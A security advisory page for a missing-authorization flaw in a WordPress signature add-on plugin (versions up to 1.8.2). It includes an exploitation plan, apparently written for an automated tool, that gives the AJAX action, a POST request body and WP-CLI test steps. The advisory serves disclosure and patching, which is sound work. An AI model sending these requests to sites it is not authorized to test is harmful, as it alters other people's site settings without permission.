WP Forms Signature Contract Add-On <= 1.8.2 - Missing Authorization to Authenticated (Subscriber+) Notice Dimissal
Description
The WP Forms Signature Contract Add-On plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.8.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to dismiss notices.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.8.2What Changed in the Fix
Changes introduced in v1.8.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-24985 ## 1. Vulnerability Summary **CVE-2026-24985** is a Missing Authorization and Missing Cross-Site Request Forgery (CSRF) vulnerability in the **WP Forms Signature Contract Add-On** plugin (versions <= 1.8.2). Specifically, the AJAX handler responsible for…
Show full research plan
Exploitation Research Plan: CVE-2026-24985
1. Vulnerability Summary
CVE-2026-24985 is a Missing Authorization and Missing Cross-Site Request Forgery (CSRF) vulnerability in the WP Forms Signature Contract Add-On plugin (versions <= 1.8.2). Specifically, the AJAX handler responsible for permanently dismissing the plugin's rating widget notice lacks any capability checks (current_user_can) or nonce verification. This allows any authenticated user, including those with Subscriber-level permissions, to modify global plugin settings and dismiss notices intended for administrators.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
esig_wpform_ratting_widget_remove - Method:
POST - Parameters:
action=esig_wpform_ratting_widget_remove - Authentication: Required (Subscriber or higher).
- Preconditions: The plugin must be active. The vulnerability is triggered by a lack of access control in the AJAX callback.
3. Code Flow
- Registration: In
admin/rating-widget/esign-rating-widget.php, the classesignRatingWidgetWpFormregisters the AJAX action in the__construct()method (lines 53-54):
Note that it is registered underadd_action('wp_ajax_esig_wpform_ratting_widget_remove', array($this, 'esigWpformRattingWidgetRemove'));wp_ajax_, which applies to all authenticated users. - Trigger: An attacker sends an HTTP POST request to
admin-ajax.phpwith theactionparameter set toesig_wpform_ratting_widget_remove. - Execution: WordPress routes the request to the
esigWpformRattingWidgetRemovemethod inadmin/rating-widget/esign-rating-widget.php:public function esigWpformRattingWidgetRemove() { update_option('remove_rating_widget_wpform','Yes'); die(); } - Sink: The
update_option()function (line 58) updates the globalremove_rating_widget_wpformoption in thewp_optionstable. No capability check or nonce validation occurs before this update.
4. Nonce Acquisition Strategy
Based on the source code in admin/rating-widget/esign-rating-widget.php, the function esigWpformRattingWidgetRemove does not verify a nonce.
- The JS file
admin/rating-widget/assets/js/rating-widget-control.jscallsesigRemoteRequest("esig_wpform_ratting_widget_remove", "POST", ...), but the PHP implementation of the receiver has zero security checks. - Therefore, no nonce is required for this exploit.
5. Exploitation Strategy
The exploit involves authenticating as a low-privileged user (Subscriber) and sending the AJAX request to modify the site configuration.
- Authenticate: Log in as a Subscriber.
- Request: Send the following request via the
http_requesttool:- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
action=esig_wpform_ratting_widget_remove
- URL:
6. Test Data Setup
- Users:
- Create an Administrator user (to verify the notice is eventually gone).
- Create a Subscriber user (the attacker):
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123.
- Plugin State: Ensure
wp-forms-signature-contract-add-onis active. - Option Verification: Check the current state of the option:
wp option get remove_rating_widget_wpformshould returnfalseor anything other thanYes.
7. Expected Results
- The AJAX request should return a
200 OKstatus (and likely an empty response followed by termination viadie()). - The WordPress option
remove_rating_widget_wpformwill be set toYes. - The rating widget notice will no longer appear for any users, including administrators, because
esignRatingWidget()inesign-rating-widget.php(line 117) checks this option:$checkWidget = get_option('remove_rating_widget_wpform'); if($checkWidget == "Yes") return false;
8. Verification Steps
After executing the http_request, verify the impact using WP-CLI:
wp option get remove_rating_widget_wpform
Success Criteria: The command returns Yes.
9. Alternative Approaches
If the plugin is part of a larger suite where esigRemoteRequest (JS side) is expected to send a nonce (even if the server doesn't check it yet), you can verify if other actions are similarly unprotected:
- Analyze
admin/esig-wpform-admin.phpforadd_action('wp_ajax_esig_wpform_fields', array($this, 'esig_wpform_fields'));. - Examine the
esig_wpform_fieldsmethod (not fully provided in snippet) to see if it also lacks capability checks. This would allow an attacker to enumerate WPForms fields.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.